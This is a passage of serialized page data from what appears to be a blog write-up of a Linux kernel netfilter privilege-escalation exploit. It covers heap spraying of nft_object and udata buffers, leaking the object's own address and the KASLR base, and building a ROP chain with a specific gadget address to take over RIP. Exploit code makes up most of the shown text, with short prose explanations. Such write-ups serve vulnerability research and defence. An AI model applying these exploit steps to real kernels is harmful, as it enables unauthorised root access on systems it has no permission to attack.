line":1216},[54507,54511,54515,54519,54523,54527,54531,54535,54539,54543,54547,54551],{"type":23,"tag":314,"props":54508,"children":54509},{"style":2284},[54510],{"type":28,"value":2287},{"type":23,"tag":314,"props":54512,"children":54513},{"style":338},[54514],{"type":28,"value":2324},{"type":23,"tag":314,"props":54516,"children":54517},{"style":321},[54518],{"type":28,"value":18285},{"type":23,"tag":314,"props":54520,"children":54521},{"style":338},[54522],{"type":28,"value":53795},{"type":23,"tag":314,"props":54524,"children":54525},{"style":354},[54526],{"type":28,"value":1102},{"type":23,"tag":314,"props":54528,"children":54529},{"style":1054},[54530],{"type":28,"value":1201},{"type":23,"tag":314,"props":54532,"children":54533},{"style":338},[54534],{"type":28,"value":50484},{"type":23,"tag":314,"props":54536,"children":54537},{"style":354},[54538],{"type":28,"value":5060},{"type":23,"tag":314,"props":54540,"children":54541},{"style":1054},[54542],{"type":28,"value":18337},{"type":23,"tag":314,"props":54544,"children":54545},{"style":338},[54546],{"type":28,"value":50515},{"type":23,"tag":314,"props":54548,"children":54549},{"style":354},[54550],{"type":28,"value":50520},{"type":23,"tag":314,"props":54552,"children":54553},{"style":338},[54554],{"type":28,"value":2414},{"type":23,"tag":314,"props":54556,"children":54557},{"class":316,"line":1301},[54558],{"type":23,"tag":314,"props":54559,"children":54560},{"style":338},[54561],{"type":28,"value":28435},{"type":23,"tag":314,"props":54563,"children":54564},{"class":316,"line":1343},[54565,54570,54575,54579,54584,54589],{"type":23,"tag":314,"props":54566,"children":54567},{"style":332},[54568],{"type":28,"value":54569}," snprintf",{"type":23,"tag":314,"props":54571,"children":54572},{"style":338},[54573],{"type":28,"value":54574},"(spray_name, ",{"type":23,"tag":314,"props":54576,"children":54577},{"style":321},[54578],{"type":28,"value":1609},{"type":23,"tag":314,"props":54580,"children":54581},{"style":338},[54582],{"type":28,"value":54583},"(spray_name), ",{"type":23,"tag":314,"props":54585,"children":54586},{"style":1245},[54587],{"type":28,"value":54588},"\"spray-%i\"",{"type":23,"tag":314,"props":54590,"children":54591},{"style":338},[54592],{"type":28,"value":54593},", i);\n",{"type":23,"tag":314,"props":54595,"children":54596},{"class":316,"line":1351},[54597,54602,54606,54610,54615],{"type":23,"tag":314,"props":54598,"children":54599},{"style":360},[54600],{"type":28,"value":54601}," udata",{"type":23,"tag":314,"props":54603,"children":54604},{"style":338},[54605],{"type":28,"value":53847},{"type":23,"tag":314,"props":54607,"children":54608},{"style":354},[54609],{"type":28,"value":1102},{"type":23,"tag":314,"props":54611,"children":54612},{"style":332},[54613],{"type":28,"value":54614}," getudata",{"type":23,"tag":314,"props":54616,"children":54617},{"style":338},[54618],{"type":28,"value":54619},"(nl, spray_name);\n",{"type":23,"tag":314,"props":54621,"children":54622},{"class":316,"line":1387},[54623],{"type":23,"tag":314,"props":54624,"children":54625},{"style":338},[54626],{"type":28,"value":2610},{"type":23,"tag":314,"props":54628,"children":54629},{"class":316,"line":1422},[54630,54634,54638,54642,54646,54650,54654,54658,54662,54666,54671,54675,54679,54683,54687],{"type":23,"tag":314,"props":54631,"children":54632},{"style":2284},[54633],{"type":28,"value":11527},{"type":23,"tag":314,"props":54635,"children":54636},{"style":338},[54637],{"type":28,"value":2324},{"type":23,"tag":314,"props":54639,"children":54640},{"style":360},[54641],{"type":28,"value":54350},{"type":23,"tag":314,"props":54643,"children":54644},{"style":338},[54645],{"type":28,"value":1312},{"type":23,"tag":314,"props":54647,"children":54648},{"style":1054},[54649],{"type":28,"value":1600},{"type":23,"tag":314,"props":54651,"children":54652},{"style":338},[54653],{"type":28,"value":48208},{"type":23,"tag":314,"props":54655,"children":54656},{"style":1054},[54657],{"type":28,"value":1600},{"type":23,"tag":314,"props":54659,"children":54660},{"style":338},[54661],{"type":28,"value":1322},{"type":23,"tag":314,"props":54663,"children":54664},{"style":354},[54665],{"type":28,"value":7828},{"type":23,"tag":314,"props":54667,"children":54668},{"style":360},[54669],{"type":28,"value":54670}," udata",{"type":23,"tag":314,"props":54672,"children":54673},{"style":338},[54674],{"type":28,"value":1312},{"type":23,"tag":314,"props":54676,"children":54677},{"style":1054},[54678],{"type":28,"value":2378},{"type":23,"tag":314,"props":54680,"children":54681},{"style":338},[54682],{"type":28,"value":48208},{"type":23,"tag":314,"props":54684,"children":54685},{"style":1054},[54686],{"type":28,"value":1600},{"type":23,"tag":314,"props":54688,"children":54689},{"style":338},[54690],{"type":28,"value":54691},"])\n",{"type":23,"tag":314,"props":54693,"children":54694},{"class":316,"line":1430},[54695],{"type":23,"tag":314,"props":54696,"children":54697},{"style":338},[54698],{"type":28,"value":28435},{"type":23,"tag":314,"props":54700,"children":54701},{"class":316,"line":1452},[54702,54707,54711,54716],{"type":23,"tag":314,"props":54703,"children":54704},{"style":332},[54705],{"type":28,"value":54706}," puts",{"type":23,"tag":314,"props":54708,"children":54709},{"style":338},[54710],{"type":28,"value":341},{"type":23,"tag":314,"props":54712,"children":54713},{"style":1245},[54714],{"type":28,"value":54715},"\"[+] got duplicated table\"",{"type":23,"tag":314,"props":54717,"children":54718},{"style":338},[54719],{"type":28,"value":1025},{"type":23,"tag":314,"props":54721,"children":54722},{"class":316,"line":1497},[54723],{"type":23,"tag":314,"props":54724,"children":54725},{"style":338},[54726],{"type":28,"value":2610},{"type":23,"tag":314,"props":54728,"children":54729},{"class":316,"line":1539},[54730],{"type":23,"tag":314,"props":54731,"children":54732},{"emptyLinePlaceholder":18},[54733],{"type":28,"value":1088},{"type":23,"tag":314,"props":54735,"children":54736},{"class":316,"line":1548},[54737],{"type":23,"tag":314,"props":54738,"children":54739},{"style":374},[54740],{"type":28,"value":54741}," // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":314,"props":54743,"children":54744},{"class":316,"line":1584},[54745],{"type":23,"tag":314,"props":54746,"children":54747},{"style":374},[54748],{"type":28,"value":54749}," // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":314,"props":54751,"children":54752},{"class":316,"line":1617},[54753,54758,54762,54767],{"type":23,"tag":314,"props":54754,"children":54755},{"style":332},[54756],{"type":28,"value":54757}," puts",{"type":23,"tag":314,"props":54759,"children":54760},{"style":338},[54761],{"type":28,"value":341},{"type":23,"tag":314,"props":54763,"children":54764},{"style":1245},[54765],{"type":28,"value":54766},"\"[*] Info leak\"",{"type":23,"tag":314,"props":54768,"children":54769},{"style":338},[54770],{"type":28,"value":1025},{"type":23,"tag":314,"props":54772,"children":54773},{"class":316,"line":1625},[54774,54779,54784,54788,54792,54796],{"type":23,"tag":314,"props":54775,"children":54776},{"style":332},[54777],{"type":28,"value":54778}," deludata_spray",{"type":23,"tag":314,"props":54780,"children":54781},{"style":338},[54782],{"type":28,"value":54783},"(nl, ",{"type":23,"tag":314,"props":54785,"children":54786},{"style":1054},[54787],{"type":28,"value":1600},{"type":23,"tag":314,"props":54789,"children":54790},{"style":338},[54791],{"type":28,"value":778},{"type":23,"tag":314,"props":54793,"children":54794},{"style":1054},[54795],{"type":28,"value":3267},{"type":23,"tag":314,"props":54797,"children":54798},{"style":338},[54799],{"type":28,"value":1025},{"type":23,"tag":314,"props":54801,"children":54802},{"class":316,"line":1660},[54803,54808],{"type":23,"tag":314,"props":54804,"children":54805},{"style":332},[54806],{"type":28,"value":54807}," wait_destroyer",{"type":23,"tag":314,"props":54809,"children":54810},{"style":338},[54811],{"type":28,"value":2926},{"type":23,"tag":314,"props":54813,"children":54814},{"class":316,"line":1708},[54815,54820,54824,54828,54832,54836,54840,54844,54848,54852],{"type":23,"tag":314,"props":54816,"children":54817},{"style":332},[54818],{"type":28,"value":54819}," obj_spray",{"type":23,"tag":314,"props":54821,"children":54822},{"style":338},[54823],{"type":28,"value":54783},{"type":23,"tag":314,"props":54825,"children":54826},{"style":1054},[54827],{"type":28,"value":1600},{"type":23,"tag":314,"props":54829,"children":54830},{"style":338},[54831],{"type":28,"value":778},{"type":23,"tag":314,"props":54833,"children":54834},{"style":1054},[54835],{"type":28,"value":3267},{"type":23,"tag":314,"props":54837,"children":54838},{"style":338},[54839],{"type":28,"value":778},{"type":23,"tag":314,"props":54841,"children":54842},{"style":321},[54843],{"type":28,"value":53747},{"type":23,"tag":314,"props":54845,"children":54846},{"style":338},[54847],{"type":28,"value":778},{"type":23,"tag":314,"props":54849,"children":54850},{"style":1054},[54851],{"type":28,"value":1600},{"type":23,"tag":314,"props":54853,"children":54854},{"style":338},[54855],{"type":28,"value":1025},{"type":23,"tag":314,"props":54857,"children":54858},{"class":316,"line":1743},[54859,54864,54868,54873,54877,54881,54886,54890,54894,54899,54903,54908],{"type":23,"tag":314,"props":54860,"children":54861},{"style":321},[54862],{"type":28,"value":54863}," uint64_t",{"type":23,"tag":314,"props":54865,"children":54866},{"style":354},[54867],{"type":28,"value":357},{"type":23,"tag":314,"props":54869,"children":54870},{"style":338},[54871],{"type":28,"value":54872},"fake_obj ",{"type":23,"tag":314,"props":54874,"children":54875},{"style":354},[54876],{"type":28,"value":1102},{"type":23,"tag":314,"props":54878,"children":54879},{"style":338},[54880],{"type":28,"value":2324},{"type":23,"tag":314,"props":54882,"children":54883},{"style":321},[54884],{"type":28,"value":54885},"uint64_t",{"type":23,"tag":314,"props":54887,"children":54888},{"style":354},[54889],{"type":28,"value":357},{"type":23,"tag":314,"props":54891,"children":54892},{"style":338},[54893],{"type":28,"value":431},{"type":23,"tag":314,"props":54895,"children":54896},{"style":332},[54897],{"type":28,"value":54898},"getudata",{"type":23,"tag":314,"props":54900,"children":54901},{"style":338},[54902],{"type":28,"value":54783},{"type":23,"tag":314,"props":54904,"children":54905},{"style":1245},[54906],{"type":28,"value":54907},"\"spray-2\"",{"type":23,"tag":314,"props":54909,"children":54910},{"style":338},[54911],{"type":28,"value":1025},{"type":23,"tag":314,"props":54913,"children":54914},{"class":316,"line":1751},[54915],{"type":23,"tag":314,"props":54916,"children":54917},{"style":338},[54918],{"type":28,"value":9566},{"type":23,"tag":837,"props":54920,"children":54922},{"id":54921},"leaking-self-pointer-of-nft_object",[54923,54925],{"type":28,"value":54924},"Leaking self pointer of ",{"type":23,"tag":94,"props":54926,"children":54928},{"className":54927},[],[54929],{"type":28,"value":54365},{"type":23,"tag":24,"props":54931,"children":54932},{},[54933,54935,54940,54942,54947,54949,54954,54956,54962],{"type":28,"value":54934},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":94,"props":54936,"children":54938},{"className":54937},[],[54939],{"type":28,"value":54365},{"type":28,"value":54941}," to get its own address. This is possible because the ",{"type":23,"tag":94,"props":54943,"children":54945},{"className":54944},[],[54946],{"type":28,"value":54365},{"type":28,"value":54948}," has a ",{"type":23,"tag":94,"props":54950,"children":54952},{"className":54951},[],[54953],{"type":28,"value":54350},{"type":28,"value":54955}," pointer (similar to ",{"type":23,"tag":94,"props":54957,"children":54959},{"className":54958},[],[54960],{"type":28,"value":54961},"table->udata",{"type":28,"value":54963}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":54965,"children":54966},{},[54967,54968,54973,54975,54981,54983,54988,54990,54996,54998,55004,55006,55011,55013,55018,55020,55025,55027],{"type":28,"value":92},{"type":23,"tag":94,"props":54969,"children":54971},{"className":54970},[],[54972],{"type":28,"value":54365},{"type":28,"value":54974}," struct also contains a ",{"type":23,"tag":94,"props":54976,"children":54978},{"className":54977},[],[54979],{"type":28,"value":54980},"list_head",{"type":28,"value":54982}," inserted in a circular list containing all ",{"type":23,"tag":94,"props":54984,"children":54986},{"className":54985},[],[54987],{"type":28,"value":54365},{"type":28,"value":54989},"'s that belong to a given ",{"type":23,"tag":94,"props":54991,"children":54993},{"className":54992},[],[54994],{"type":28,"value":54995},"table",{"type":28,"value":54997},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":94,"props":54999,"children":55001},{"className":55000},[],[55002],{"type":28,"value":55003},"table->list.next",{"type":28,"value":55005}," pointer in the ",{"type":23,"tag":94,"props":55007,"children":55009},{"className":55008},[],[55010],{"type":28,"value":54365},{"type":28,"value":55012}," will point back to the ",{"type":23,"tag":94,"props":55014,"children":55016},{"className":55015},[],[55017],{"type":28,"value":54980},{"type":28,"value":55019}," contained in the ",{"type":23,"tag":94,"props":55021,"children":55023},{"className":55022},[],[55024],{"type":28,"value":54995},{"type":28,"value":55026}," and vice-versa.\n",{"type":23,"tag":197,"props":55028,"children":55030},{"alt":49829,"src":55029},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":55032,"children":55033},{},[55034,55036,55041,55043,55048,55050,55056,55058,55063,55064,55069,55071,55076,55078,55083],{"type":28,"value":55035},"In short, that means that if we swap the ",{"type":23,"tag":94,"props":55037,"children":55039},{"className":55038},[],[55040],{"type":28,"value":54350},{"type":28,"value":55042}," pointer of the ",{"type":23,"tag":94,"props":55044,"children":55046},{"className":55045},[],[55047],{"type":28,"value":54365},{"type":28,"value":55049}," with its own ",{"type":23,"tag":94,"props":55051,"children":55053},{"className":55052},[],[55054],{"type":28,"value":55055},"list.next",{"type":28,"value":55057}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":94,"props":55059,"children":55061},{"className":55060},[],[55062],{"type":28,"value":54365},{"type":28,"value":51590},{"type":23,"tag":94,"props":55065,"children":55067},{"className":55066},[],[55068],{"type":28,"value":54980},{"type":28,"value":55070}," which is also the start of the ",{"type":23,"tag":94,"props":55072,"children":55074},{"className":55073},[],[55075],{"type":28,"value":54365},{"type":28,"value":55077}," itself.\n",{"type":23,"tag":721,"props":55079,"children":55080},{},[55081],{"type":28,"value":55082},"NOTE:",{"type":28,"value":55084}," This is a novel small trick.",{"type":23,"tag":304,"props":55086,"children":55088},{"className":28358,"code":55087,"language":28360,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55089],{"type":23,"tag":94,"props":55090,"children":55091},{"__ignoreMap":7},[55092,55099,55107,55120,55168,55195,55206,55244,55251,55280,55310],{"type":23,"tag":314,"props":55093,"children":55094},{"class":316,"line":317},[55095],{"type":23,"tag":314,"props":55096,"children":55097},{"style":338},[55098],{"type":28,"value":9566},{"type":23,"tag":314,"props":55100,"children":55101},{"class":316,"line":370},[55102],{"type":23,"tag":314,"props":55103,"children":55104},{"style":338},[55105],{"type":28,"value":55106}," // Leak nft_object ptr using table linked list\n",{"type":23,"tag":314,"props":55108,"children":55109},{"class":316,"line":380},[55110,55115],{"type":23,"tag":314,"props":55111,"children":55112},{"style":338},[55113],{"type":28,"value":55114}," fake_obj[8] = 8;",{"type":23,"tag":314,"props":55116,"children":55117},{"style":374},[55118],{"type":28,"value":55119}," // ulen = 8\n",{"type":23,"tag":314,"props":55121,"children":55122},{"class":316,"line":1091},[55123,55128,55132,55137,55141,55145,55150,55154,55158,55163],{"type":23,"tag":314,"props":55124,"children":55125},{"style":360},[55126],{"type":28,"value":55127}," fake_obj",{"type":23,"tag":314,"props":55129,"children":55130},{"style":338},[55131],{"type":28,"value":1312},{"type":23,"tag":314,"props":55133,"children":55134},{"style":1054},[55135],{"type":28,"value":55136},"9",{"type":23,"tag":314,"props":55138,"children":55139},{"style":338},[55140],{"type":28,"value":1322},{"type":23,"tag":314,"props":55142,"children":55143},{"style":354},[55144],{"type":28,"value":1102},{"type":23,"tag":314,"props":55146,"children":55147},{"style":360},[55148],{"type":28,"value":55149}," fake_obj",{"type":23,"tag":314,"props":55151,"children":55152},{"style":338},[55153],{"type":28,"value":1312},{"type":23,"tag":314,"props":55155,"children":55156},{"style":1054},[55157],{"type":28,"value":1600},{"type":23,"tag":314,"props":55159,"children":55160},{"style":338},[55161],{"type":28,"value":55162},"];",{"type":23,"tag":314,"props":55164,"children":55165},{"style":374},[55166],{"type":28,"value":55167}," // udata = list->next\n",{"type":23,"tag":314,"props":55169,"children":55170},{"class":316,"line":1141},[55171,55175,55179,55183,55187,55191],{"type":23,"tag":314,"props":55172,"children":55173},{"style":332},[55174],{"type":28,"value":54778},{"type":23,"tag":314,"props":55176,"children":55177},{"style":338},[55178],{"type":28,"value":54783},{"type":23,"tag":314,"props":55180,"children":55181},{"style":1054},[55182],{"type":28,"value":2378},{"type":23,"tag":314,"props":55184,"children":55185},{"style":338},[55186],{"type":28,"value":778},{"type":23,"tag":314,"props":55188,"children":55189},{"style":1054},[55190],{"type":28,"value":3267},{"type":23,"tag":314,"props":55192,"children":55193},{"style":338},[55194],{"type":28,"value":1025},{"type":23,"tag":314,"props":55196,"children":55197},{"class":316,"line":1173},[55198,55202],{"type":23,"tag":314,"props":55199,"children":55200},{"style":332},[55201],{"type":28,"value":54807},{"type":23,"tag":314,"props":55203,"children":55204},{"style":338},[55205],{"type":28,"value":2926},{"type":23,"tag":314,"props":55207,"children":55208},{"class":316,"line":1208},[55209,55214,55218,55223,55227,55231,55235,55239],{"type":23,"tag":314,"props":55210,"children":55211},{"style":332},[55212],{"type":28,"value":55213}," udata_spray",{"type":23,"tag":314,"props":55215,"children":55216},{"style":338},[55217],{"type":28,"value":54783},{"type":23,"tag":314,"props":55219,"children":55220},{"style":1054},[55221],{"type":28,"value":55222},"0xe8",{"type":23,"tag":314,"props":55224,"children":55225},{"style":338},[55226],{"type":28,"value":778},{"type":23,"tag":314,"props":55228,"children":55229},{"style":1054},[55230],{"type":28,"value":16535},{"type":23,"tag":314,"props":55232,"children":55233},{"style":338},[55234],{"type":28,"value":778},{"type":23,"tag":314,"props":55236,"children":55237},{"style":1054},[55238],{"type":28,"value":3267},{"type":23,"tag":314,"props":55240,"children":55241},{"style":338},[55242],{"type":28,"value":55243},", fake_obj);\n",{"type":23,"tag":314,"props":55245,"children":55246},{"class":316,"line":1216},[55247],{"type":23,"tag":314,"props":55248,"children":55249},{"emptyLinePlaceholder":18},[55250],{"type":28,"value":1088},{"type":23,"tag":314,"props":55252,"children":55253},{"class":316,"line":1301},[55254,55259,55263,55268,55272,55276],{"type":23,"tag":314,"props":55255,"children":55256},{"style":332},[55257],{"type":28,"value":55258}," get_obj",{"type":23,"tag":314,"props":55260,"children":55261},{"style":338},[55262],{"type":28,"value":54783},{"type":23,"tag":314,"props":55264,"children":55265},{"style":1245},[55266],{"type":28,"value":55267},"\"spray-0\"",{"type":23,"tag":314,"props":55269,"children":55270},{"style":338},[55271],{"type":28,"value":778},{"type":23,"tag":314,"props":55273,"children":55274},{"style":321},[55275],{"type":28,"value":1481},{"type":23,"tag":314,"props":55277,"children":55278},{"style":338},[55279],{"type":28,"value":1025},{"type":23,"tag":314,"props":55281,"children":55282},{"class":316,"line":1343},[55283,55288,55292,55297,55301,55305],{"type":23,"tag":314,"props":55284,"children":55285},{"style":332},[55286],{"type":28,"value":55287}," printf",{"type":23,"tag":314,"props":55289,"children":55290},{"style":338},[55291],{"type":28,"value":341},{"type":23,"tag":314,"props":55293,"children":55294},{"style":1245},[55295],{"type":28,"value":55296},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":314,"props":55298,"children":55299},{"style":47623},[55300],{"type":28,"value":47626},{"type":23,"tag":314,"props":55302,"children":55303},{"style":1245},[55304],{"type":28,"value":19297},{"type":23,"tag":314,"props":55306,"children":55307},{"style":338},[55308],{"type":28,"value":55309},", obj_ptr);\n",{"type":23,"tag":314,"props":55311,"children":55312},{"class":316,"line":1351},[55313],{"type":23,"tag":314,"props":55314,"children":55315},{"style":338},[55316],{"type":28,"value":9566},{"type":23,"tag":837,"props":55318,"children":55320},{"id":55319},"hijacking-control-flow",[55321],{"type":28,"value":55322},"Hijacking control-flow",{"type":23,"tag":24,"props":55324,"children":55325},{},[55326,55328,55333,55335,55340,55342,55347,55349,55354,55356,55361,55363],{"type":28,"value":55327},"To hijack control-flow, we can use ",{"type":23,"tag":94,"props":55329,"children":55331},{"className":55330},[],[55332],{"type":28,"value":54365},{"type":28,"value":55334}," once again. The ",{"type":23,"tag":94,"props":55336,"children":55338},{"className":55337},[],[55339],{"type":28,"value":54365},{"type":28,"value":55341}," struct has an ",{"type":23,"tag":94,"props":55343,"children":55345},{"className":55344},[],[55346],{"type":28,"value":51921},{"type":28,"value":55348}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":94,"props":55350,"children":55352},{"className":55351},[],[55353],{"type":28,"value":51921},{"type":28,"value":55355}," pointer with the ",{"type":23,"tag":94,"props":55357,"children":55359},{"className":55358},[],[55360],{"type":28,"value":54350},{"type":28,"value":55362}," pointer, taking control of the pointer table.\n",{"type":23,"tag":197,"props":55364,"children":55366},{"alt":49829,"src":55365},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":304,"props":55368,"children":55370},{"className":28358,"code":55369,"language":28360,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[55371],{"type":23,"tag":94,"props":55372,"children":55373},{"__ignoreMap":7},[55374,55381,55389,55413,55460,55496,55503,55511,55543,55551,55559,55580,55588,55596,55660,55667,55675,55683,55690,55698,55732,55740,55747,55755,55762,55770,55803,55824],{"type":23,"tag":314,"props":55375,"children":55376},{"class":316,"line":317},[55377],{"type":23,"tag":314,"props":55378,"children":55379},{"style":338},[55380],{"type":28,"value":9566},{"type":23,"tag":314,"props":55382,"children":55383},{"class":316,"line":370},[55384],{"type":23,"tag":314,"props":55385,"children":55386},{"style":338},[55387],{"type":28,"value":55388}," // Fake ops\n",{"type":23,"tag":314,"props":55390,"children":55391},{"class":316,"line":380},[55392,55397,55401,55405,55409],{"type":23,"tag":314,"props":55393,"children":55394},{"style":338},[55395],{"type":28,"value":55396}," uint64_t *rop = calloc(29, ",{"type":23,"tag":314,"props":55398,"children":55399},{"style":2674},[55400],{"type":28,"value":1609},{"type":23,"tag":314,"props":55402,"children":55403},{"style":338},[55404],{"type":28,"value":341},{"type":23,"tag":314,"props":55406,"children":55407},{"style":321},[55408],{"type":28,"value":54885},{"type":23,"tag":314,"props":55410,"children":55411},{"style":338},[55412],{"type":28,"value":6478},{"type":23,"tag":314,"props":55414,"children":55415},{"class":316,"line":1091},[55416,55421,55425,55429,55433,55437,55442,55446,55451,55455],{"type":23,"tag":314,"props":55417,"children":55418},{"style":360},[55419],{"type":28,"value":55420}," rop",{"type":23,"tag":314,"props":55422,"children":55423},{"style":338},[55424],{"type":28,"value":1312},{"type":23,"tag":314,"props":55426,"children":55427},{"style":1054},[55428],{"type":28,"value":1600},{"type":23,"tag":314,"props":55430,"children":55431},{"style":338},[55432],{"type":28,"value":1322},{"type":23,"tag":314,"props":55434,"children":55435},{"style":354},[55436],{"type":28,"value":1102},{"type":23,"tag":314,"props":55438,"children":55439},{"style":338},[55440],{"type":28,"value":55441}," kaslr_slide ",{"type":23,"tag":314,"props":55443,"children":55444},{"style":354},[55445],{"type":28,"value":1130},{"type":23,"tag":314,"props":55447,"children":55448},{"style":1054},[55449],{"type":28,"value":55450}," 0xffffffff81988647",{"type":23,"tag":314,"props":55452,"children":55453},{"style":338},[55454],{"type":28,"value":48324},{"type":23,"tag":314,"props":55456,"children":55457},{"style":374},[55458],{"type":28,"value":55459}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":314,"props":55461,"children":55462},{"class":316,"line":1141},[55463,55467,55471,55475,55479,55483,55487,55491],{"type":23,"tag":314,"props":55464,"children":55465},{"style":360},[55466],{"type":28,"value":55420},{"type":23,"tag":314,"props":55468,"children":55469},{"style":338},[55470],{"type":28,"value":1312},{"type":23,"tag":314,"props":55472,"children":55473},{"style":1054},[55474],{"type":28,"value":2378},{"type":23,"tag":314,"props":55476,"children":55477},{"style":338},[55478],{"type":28,"value":1322},{"type":23,"tag":314,"props":55480,"children":55481},{"style":354},[55482],{"type":28,"value":1102},{"type":23,"tag":314,"props":55484,"children":55485},{"style":338},[55486],{"type":28,"value":55441},{"type":23,"tag":314,"props":55488,"children":55489},{"style":354},[55490],{"type":28,"value":1130},{"type":23,"tag":314,"props":55492,"children":55493},{"style":338},[55494],{"type":28,"value":55495}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":314,"props":55497,"children":55498},{"class":316,"line":1173},[55499],{"type":23,"tag":314,"props":55500,"children":55501},{"style":338},[55502],{"type":28,"value":9566},{"type":23,"tag":314,"props":55504,"children":55505},{"class":316,"line":1208},[55506],{"type":23,"tag":314,"props":55507,"children":55508},{"style":338},[55509],{"type":28,"value":55510}," // Send ROP in object udata\n",{"type":23,"tag":314,"props":55512,"children":55513},{"class":316,"line":1216},[55514,55519,55523,55528,55533,55538],{"type":23,"tag":314,"props":55515,"children":55516},{"style":338},[55517],{"type":28,"value":55518}," del_obj(",{"type":23,"tag":314,"props":55520,"children":55521},{"style":2674},[55522],{"type":28,"value":53541},{"type":23,"tag":314,"props":55524,"children":55525},{"style":338},[55526],{"type":28,"value":55527},", \"",{"type":23,"tag":314,"props":55529,"children":55530},{"style":2674},[55531],{"type":28,"value":55532},"spray",{"type":23,"tag":314,"props":55534,"children":55535},{"style":338},[55536],{"type":28,"value":55537},"-0",{"type":23,"tag":314,"props":55539,"children":55540},{"style":1245},[55541],{"type":28,"value":55542},"\");\n",{"type":23,"tag":314,"props":55544,"children":55545},{"class":316,"line":1301},[55546],{"type":23,"tag":314,"props":55547,"children":55548},{"style":1245},[55549],{"type":28,"value":55550}," wait_destroyer();\n",{"type":23,"tag":314,"props":55552,"children":55553},{"class":316,"line":1343},[55554],{"type":23,"tag":314,"props":55555,"children":55556},{"style":1245},[55557],{"type":28,"value":55558}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":314,"props":55560,"children":55561},{"class":316,"line":1351},[55562,55567,55571,55576],{"type":23,"tag":314,"props":55563,"children":55564},{"style":1245},[55565],{"type":28,"value":55566}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":314,"props":55568,"children":55569},{"style":321},[55570],{"type":28,"value":55532},{"type":23,"tag":314,"props":55572,"children":55573},{"style":338},[55574],{"type":28,"value":55575},"-3",{"type":23,"tag":314,"props":55577,"children":55578},{"style":1245},[55579],{"type":28,"value":55542},{"type":23,"tag":314,"props":55581,"children":55582},{"class":316,"line":1387},[55583],{"type":23,"tag":314,"props":55584,"children":55585},{"style":1245},[55586],{"type":28,"value":55587}," DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":314,"props":55589,"children":55590},{"class":316,"line":1422},[55591],{"type":23,"tag":314,"props":55592,"children":55593},{"style":1245},[55594],{"type":28,"value":55595}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":314,"props":55597,"children":55598},{"class":316,"line":1430},[55599,55604,55608,55612,55616,55621,55626,55631,55635,55640,55645,55650,55655],{"type":23,"tag":314,"props":55600,"children":55601},{"style":1245},[55602],{"type":28,"value":55603}," printf(\"",{"type":23,"tag":314,"props":55605,"children":55606},{"style":338},[55607],{"type":28,"value":1312},{"type":23,"tag":314,"props":55609,"children":55610},{"style":354},[55611],{"type":28,"value":256},{"type":23,"tag":314,"props":55613,"children":55614},{"style":338},[55615],{"type":28,"value":1322},{"type":23,"tag":314,"props":55617,"children":55618},{"style":2674},[55619],{"type":28,"value":55620},"ROP",{"type":23,"tag":314,"props":55622,"children":55623},{"style":2674},[55624],{"type":28,"value":55625}," addr",{"type":23,"tag":314,"props":55627,"children":55628},{"style":338},[55629],{"type":28,"value":55630},": 0",{"type":23,"tag":314,"props":55632,"children":55633},{"style":2674},[55634],{"type":28,"value":18514},{"type":23,"tag":314,"props":55636,"children":55637},{"style":338},[55638],{"type":28,"value":55639},"%",{"type":23,"tag":314,"props":55641,"children":55642},{"style":2674},[55643],{"type":28,"value":55644},"lx",{"type":23,"tag":314,"props":55646,"children":55647},{"style":338},[55648],{"type":28,"value":55649},"\\",{"type":23,"tag":314,"props":55651,"children":55652},{"style":2674},[55653],{"type":28,"value":55654},"n",{"type":23,"tag":314,"props":55656,"children":55657},{"style":1245},[55658],{"type":28,"value":55659},"\", rop_addr);\n",{"type":23,"tag":314,"props":55661,"children":55662},{"class":316,"line":1452},[55663],{"type":23,"tag":314,"props":55664,"children":55665},{"emptyLinePlaceholder":18},[55666],{"type":28,"value":1088},{"type":23,"tag":314,"props":55668,"children":55669},{"class":316,"line":1497},[55670],{"type":23,"tag":314,"props":55671,"children":55672},{"style":1245},[55673],{"type":28,"value":55674}," // Point to fake ops\n",{"type":23,"tag":314,"props":55676,"children":55677},{"class":316,"line":1539},[55678],{"type":23,"tag":314,"props":55679,"children":55680},{"style":1245},[55681],{"type":28,"value":55682}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake 